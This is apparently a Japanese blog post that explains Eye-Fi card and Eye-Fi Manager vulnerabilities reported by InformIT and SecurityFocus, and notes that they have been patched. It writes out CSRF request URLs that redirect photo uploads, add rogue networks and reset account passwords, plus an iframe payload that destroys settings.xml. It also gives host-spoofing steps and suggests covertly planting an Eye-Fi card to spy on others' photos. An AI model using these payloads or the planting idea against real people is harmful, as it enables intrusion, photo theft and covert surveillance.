Eye-Fi Shareセキュリティ再び

Eye-Fi Shareのセキュリティについて、ちょっと前の投稿「Eye-Fi Share」で簡単に書いたのだが、せっかくなので、もう少しきちんと説明しよう。

まず、昨年春に指摘されていたEye-Fiの複数の脆弱性の問題はSecurityFocusにて見ることができる。

The Eye-Fi Manager and Card are prone to multiple security vulnerabilities, including unauthorized image uploads to computers, remotely altering the destination folder, cross-site request-forgery vulnerabilities, and a denial-of-service vulnerability.

SecurityFocus: Eye-Fi Multiple Security Vulnerabilities

Eye-Fi Managerとカードには、認証を経由しないコンピュータへのイメージのアップロード、保存先フォルダのリモートからの改変、CSRFの脆弱性、DoS攻撃などの複数の脆弱性が懸念される」と指摘されており、詳細については前回紹介した、「The Eye-Fi: A Case Study in Next-Generation Application Security Issues」が参照されている。

このSecurityFocusでの指摘でも、現在の最新バージョンでは修正されていることが報告されている*1Eye-Fi Managerで最新バージョンの確認と更新が出来るので、ユーザーの方はチェックしておくと良いだろう。

さて、この複数の脆弱性だが、前回列挙した以下の8点がそれにあたる。

  1. Eye-Fi Managerがリモートからクラッシュ可能
  2. Eye-Fi Managerはsettings.xmlファイルを除去することでリモートから無効にできる
  3. Eye-FiのソリューションはいくつかのCSRF脆弱性を抱えており、イメージのアップロードをリダイレクトしたり、悪意のあるワイヤレスネットワークに接続するようにEye-Fiカードを構成するようにしたり、ダウンロードを無効にしたりできる
  4. アルゴリズムの中でその時点の日時が使われているので、Eye-Fiのイメージアップロードプロセスをスプーフィングすることができる
  5. settings.xmlを入手できれば、Eye-Fi Managerを複製するこができる
  6. イメージの転送プロセスが暗号化されていない
  7. 写真共有サービスが100%安全ではない。そのため、イメージが公開されてしまう可能性がある
  8. Eye-Fiカードが悪意のあるスパイツールになりかねない

InformITの記事に詳細が書かれているので、ここではそれを基に解説する。

Eye-Fi ManagerとカードのCSRF脆弱性

Eye-Fi Managerは前回の投稿でも書いたように、localhost:59278で動作するHTTPサーバーをインターフェイスとしている。ここにCSRFの脆弱性がある。

たとえば、以下のHTTPパケットを流し込むことでEye-Fi Managerの自動起動を有効/無効にできる。

http://localhost:59278/WS-Proxy?SOAPAction=urn%3ASetOptions&data=<?xml version='1.0' encoding='utf-8'?><soap%3AEnvelope xmlns%3Asoap='http%3A//schemas.xmlsoap.org/soap/envelope/'><soap%3ABody><SetOptions xmlns='http%3A//localhost/api/soap/eyefilm-ui/v1'><LaunchOnStart>false</LaunchOnStart></SetOptions></soap%3ABody></soap%3AEnvelope>&key=&method=POST&url=/api/soap/eyefilm-ui/v1&dojo.preventCache=1199483783296&id=dojo.io.script.jsonp_dojoIoScript52._jsonpCallback


また、以下によりEye-Fi Managerのファイルアップロードを有効/無効にできる。無効にした後に、次に説明するSetFolderConfigと組み合わせることで任意のフォルダにイメージをアップロードできる。

http://localhost:59278/WS-Proxy?SOAPAction=urn%3ASetDesktopSync&data=<?xml version='1.0' encoding='utf-8'?><soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'><soap:Body><SetDesktopSync xmlns='http://localhost/api/soap/eyefilm-ui/v1'><MacAddress>00-14-14-14-14-14</MacAddress><Enable>false</Enable></SetDesktopSync></soap:Body></soap:Envelope>&key=&method=POST&url=%2Fapi%2Fsoap%2Feyefilm-ui%2Fv1&dojo.preventCache=1198255456000&id=dojo.io.script.jsonp_dojoIoScript72._jsonpCallback

SetFolderConfigによりフォルダの場所を任意の場所に設定できる。これはリモートマシン上のものにもできるため、UNC形式で\\<悪いマシンのIPアドレス>\のように指定することにより、Eye-Fiカードからのイメージを盗み取ることが可能となる。

http://localhost:59278/WS-Proxy?SOAPAction=urn%3ASetFolderConfig&data=<?xml version='1.0' encoding='utf-8'?><soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'><soap:Body><SetFolderConfig xmlns='http://localhost/api/soap/eyefilm-ui/v1'><MacAddress>00-14-14-14-14-14</MacAddress><PhotoFolder>d:\Documents\My Pictures\Eye-Fi</PhotoFolder><AddDate>true</AddDate><DateType>1</DateType><UploadKey>869b06fcb45713bf406224363c8385b</UploadKey><DownsyncKey>ddcba29c41d5f1eae41b6af7944050bc</DownsyncKey></SetFolderConfig></soap:Body></soap:Envelope>&key=&method=POST&url=%2Fapi%2Fsoap%2Feyefilm-ui%2Fv1&dojo.preventCache=1198255456046&id=dojo.io.script.jsonp_dojoIoScript73._jsonpCallback

また、Eye-Fiカードに対するCSRF攻撃も可能だ。以下のHTTPパケットで任意のSSIDを追加できる。これにより、Eye-Fiカード側は知らずのうちに、任意の(悪意のある)ワイヤレスLANアクセスポイントに接続され、悪意のある操作を行われてしまう可能性がある。

http://localhost:59278/WS-Proxy?SOAPAction=urn%3AAddNetwork& data=<?xml version='1.0' encoding='utf-8'?><soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'><soap:Body><AddNetwork xmlns='http://localhost/api/soap/eyefilm-ui/v1'><MacAddress>00-14-14-14-14-14</MacAddress><SSID>linksys</SSID><AuthType>0</AuthType><Key></Key></AddNetwork></soap:Body></soap:Envelope>&key=&method=POST&url=%2Fapi%2Fsoap%2Feyefilm-ui%2Fv1&dojo.preventCache=1198261961187&id=dojo.io.script.jsonp_dojoIoScript91._jsonpCallback

さらには、Eye-FiサイトにもCSRF脆弱性の問題がある。以下の例はアカウントのパスワードをリセットするものであるが、これ以外にも写真共有サイトの追加や削除なども可能だ。

https://api.eye.fi/api/rest/eyeserver/v1/updateAccount?Password=anewpassword&Login=me@email.com&format=xml-in-json&dojo.preventCache=2203021801671&callback=dojo.io.script.jsonp_dojoIoScript10._jsonpCallback

Eye-Fiの写真アップロードプロセスにおける脆弱性

Eye-Fiの用いている認証は強固であり、転送プロセスをハイジャックすることは簡単にはできない。用いられているsnonceは頻繁に変更される動的な値であり、それをリプレイすることはできない。

ただし、このsnonceはインクリメンタルに変更されるものであり、しかも時間をシードとしている。時間を先に進めた状態でEye-Fi Managerと転送先のパケットを記録することで、転送プロセスをエミュレートすることができた。InformITの記事では、Eye-Fi Managerからの転送を模してイメージを挿入することが出来たとしている。ただし、イメージのファイル名を変更したりは不可能だった。Eye-Fiでは、複数のチェックを行っている模様で、実際のイメージファイルとその属性(ファイル名など)との対応を壊すことは出来なかったようだ。

ブラックボックス化されたEye-Fiプロセスの問題点

Eye-Fiカードは残念ながら、単体では動作しない。その多くを母艦となるPCに依存している。すでに説明したように、ローカルPCの58278ポートで動作するHTTPサーバーがインターフェイスとなっているのであるが、それに対するDoS攻撃が存在する。たとえば、以下の簡単なリクエストでEye-Fi Managerがクラッシュする。

http://:59278/WS-Proxy?

HTTPで外部からアクセスできるため、以下のようなコードを埋め込んだ悪意のあるサイトにアクセスしただけで、Eye-Fi Managerがクラッシュされることとなる。


また、Eye-Fiの認証は強固であり、その認証プロセスで得られたクレデンシャルを持って、転送プロセスを行うことができる。この認証プロセスを実現するに際し、Eye-Fi ManagerはローカルPCに保存されたsettings.xmlを利用する。

このsettings.xmlEye-Fiのサイトに接続することで、作成/更新が可能だ。Eye-Fi Managerの動作を解析したところ、この際に認証情報が含まれたリクエストが送信されていることと、もし認証に失敗した場合にはsettings.xmlを削除するような動作になっていることがわかった。そのため、CSRF脆弱性を利用し、次のようなコードを含む悪意のあるサイトを作成すると、簡単にローカルPC上のsettings.xmlを破壊することができる。

<iframe src=http://localhost:59278/WS-Proxy?SOAPAction=urn%3ASetFolderConfig&data=%3C%3Fxml%20version%3D'1.0' %20encoding%3D'utf-8'%3F%3E%3Csoap%3AEnvelope%20xmlns%3Asoap%3D'http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F’%3E%3Csoap%3ABody%3E%3CSetFolderConfig%20xmlns%3D'http%3A%2F%2Flocalhost%2Fapi%2Fsoap%2Feyefilm-ui%2Fv1'%3E%3CMacAddress%3E00-14-14-14-14-14%3C%2FMacAddress%3E%3CPhotoFolder%3Ed:\%3C%2FPhotoFolder%3E%3CAddDate%3Etrue%3C%2FAddDate%3E%3CDateType%3E1%3C%2FDateType%3E%3CUploadKey%3E86db06fcb4571d0406fff14363c3385b%3C%2FUploadKey%3E%3CDownsyncKey%3Ed32b25a1906837335327cd34075c685%3C%2FDownsyncKey%3E%3C%2FSetFolderConfig%3E%3C%2Fsoap%3ABody%3E%3C%2Fsoap%3AEnvelope%3E&key=&method=POST&url=%2Fapi%2Fsoap%2Feyefilm-ui%2Fv1&dojo.preventCache=1129074731346&id=dojo.io.script.jsonp_dojoIoScript31._jsonpCallback>

Eye-Fiサイトとアップロードプロセス*2

写真共有サイトとの連携がEye-Fiの魅力であるが、写真共有サイトに直接イメージがアップロードされるわけではない。Picasa Webアルバムを使おうが、Flickrを使おうが、はてなフォトライフを使おうが、Eye-Fiカードからのすべてのイメージは一度Eye-Fiのサイトに保存される。その後、最終的な写真共有サイトに転送されることになる。

これに関しては、InformITの記事の中でEye-Fiがその理由を説明している。

"The photos are stored while they are being submitted to the 3rd-party site and may continue to be stored until the additional copy is downloaded back to the user's computer, if the user chose both online site and local folder destinations for their card. After that the originals are purged from the system, leaving only thumbnails that are used within the Eye-Fi Manager application for observing the status of the user's uploads. The thumbnails themselves are removed from the system entirely if a user deletes their Eye-Fi account."

InformIT:The Eye-Fi: A Case Study in Next-Generation Application Security Issues - Your Private Pictures in the Public Eye

簡単に訳そう。

「もしユーザーがオンラインのサイトとローカルPCを写真の保存先として指定していた場合は、写真はサードパーティのサイトに転送されるまでの間、(サイト上に)保存され、ユーザーのコンピュータに追加の写真がダウンロードして戻されるまでは保存される続ける可能性がある。オリジナルの写真がシステムから削除された後は、ユーザーがEye-Fi Managerから写真の転送状況を把握するためにサムネイルだけが保存される。ユーザーがEye-Fiサイトからアカウントを削除することで、このサムネイルも削除される。」

InformITでは、ユーザーの意識しないうちにEye-Fiサイトにイメージが保存されており、それは最終的な保存先の写真共有サイトのセキュリティやアクセス権とは別の権限で管理されているので、ここにセキュリティ上のリスクが存在するとしている。

そもそも、Eye-Fiを用いたときの、写真の転送経路というのは良く分からない。ローカルPCのフォルダに保存するときにも、Eye-Fiのサイトを使うのか? 調べてみると、ブログやEye-Fiの新ファームウェアの説明などにも書かれていたが、Eye-Fiのフォーラムの説明が一番明確だった。

If you have the card configured to send only to your local computer then the Eye-Fi servers are not involved in the picture transfer (the network need not be connected to the internet after initial configuration). If you are configured to send to a web service only, the card sends to the Eye-Fi servers directly. If you are configured to use both (which it sounds like you are) the card attempts to determine which is the faster route - to the computer or to the web - and use it so that the camera can be powered down more quickly. The pictures are then transferred either from the Eye-Fi servers to your computer or from your computer to the Eye-Fi servers (and on to your web service) depending on where they went first. It sounds like your card sent pictures to the web first. Generally speaking if your card and computer are on the same LAN it will make the transfer locally first because it is usually much faster. Mine, however, seems to "miss" the listener on the local computer sometimes and transfers to the web which is much slower.

Eye-Fi Forums: Are pics proxied through eye-fi servers?

以下、抄訳。

もしカードがローカルPCに送信するようにだけ設定されている場合は、Eye-Fiサイトは写真の転送に際しては関与しない。

もし写真共有サイトに送信するようにだけ設定されている場合は、カードは写真をEye-Fiサイトに直接送信する。

もしどちらも使うように設定されている場合には、カードはローカルPC経由かEye-Fiサイト経由かどちらの経路が速いかを確認し、速い方を用いる。ローカルPCを用いられた場合は、その後ローカルPCからEye-Fiサイトに転送される(そして、写真共有サイトに転送される)。逆に、Eye-Fiサイトに先に送信された場合は、ローカルPCは後からそれを取得しに行く。

通常は同一LAN上にEye-FiカードとローカルPCが存在している場合は、ローカルPCへの転送が選択されることが多いが、Eye-FiマネージャによるHTTPサーバーインターフェイスが遅い場合には、Eye-Fiサイト経由になることもある。

以上の動作は、Wiresharkを用いて、私自身も確認してある。

Eye-Fi Managerが動作するローカルPCのスプーフィング

Eye-FiカードはEye-Fi Managerが動作するPCを検出するが、これにはARPパケットが用いられる。PCが検出されると、59278ポートに接続を試み、Eye-Fi Managerのインストールの有無を確認する。これは私もWiresharkで確認した。

このEye-Fi Managerが動作するPCを模倣することは、有効なsettings.xmlさえ入手できれば可能だ。以下のステップを見て欲しい。

  1. DoS攻撃を行うことで、ターゲットとなるPCのEye-Fi Managerを無効にする
  2. 攻撃者のPCをターゲットPCと同じ名前にする
  3. 入手したsettings.xmlを用いてEye-Fi Managerを起動する
  4. イメージが転送されるまで、そのまま待機する

Eye-Fiカードを用いたイメージデータの盗用

今まではEye-FiカードとEye-Fi Manager、そしてEye-Fiサイトにおけるセキュリティ上の問題を説明したが、最後に指摘するのは、Eye-Fiカード自身が悪意のあるツールに成り得るという点だ。

Eye-Fiカードは自分のために用いることを想定しているが、これを配偶者、パートナー、社員などのデジタルカメラのSDメモリとして用いたらどうなるだろう。一般のデジタルカメラ使用者ならば、挿入されているSDメモリカードには注意を払わない。Eye-Fiカードのラベルは読めば、ワイヤレスLAN対応であることがわかるが、気づく人は多くはないだろう。もしくはラベルを替えてしまえば済む話だ。適切に設定をした後に、イメージデータを盗み見したいターゲットのデジタルカメラのSDメモリカードEye-Fiカードに替えてしまえば、彼や彼女のイメージデータは覗き見放題だ。

これは技術的な問題ではないが、ソーシャルセキュリティ的な課題としてきちんと認識しておく必要がある。

まとめ

以上のような脆弱性がEye-Fiには存在していた。冒頭に述べたように、InformITの記事やSecurityFocusの報告でも書かれているように、最新のソフトウェア/ファームウェアでは解決されている。ただ、Eye-Fiサイト経由で写真が転送され、サムネイルはアカウントを削除しない限りはサイト上に保存され続けることやEye-Fiカード自身が悪意のあるツールに成り得ることについては注意しておいたほうが良い。

それよりも、InformITの記事でも書かれているように、これを単なるEye-Fiのセキュリティ問題として捉えるのではなく、今後多くなるであろうユビキタス機器のセキュリティ課題として捉えることが大事であると思える。

*1:http://www.securityfocus.com/bid/28085/solution

*2:この部分はInformITの記事の一部とEye-Fiのサイト情報から私が書き起こしたものだ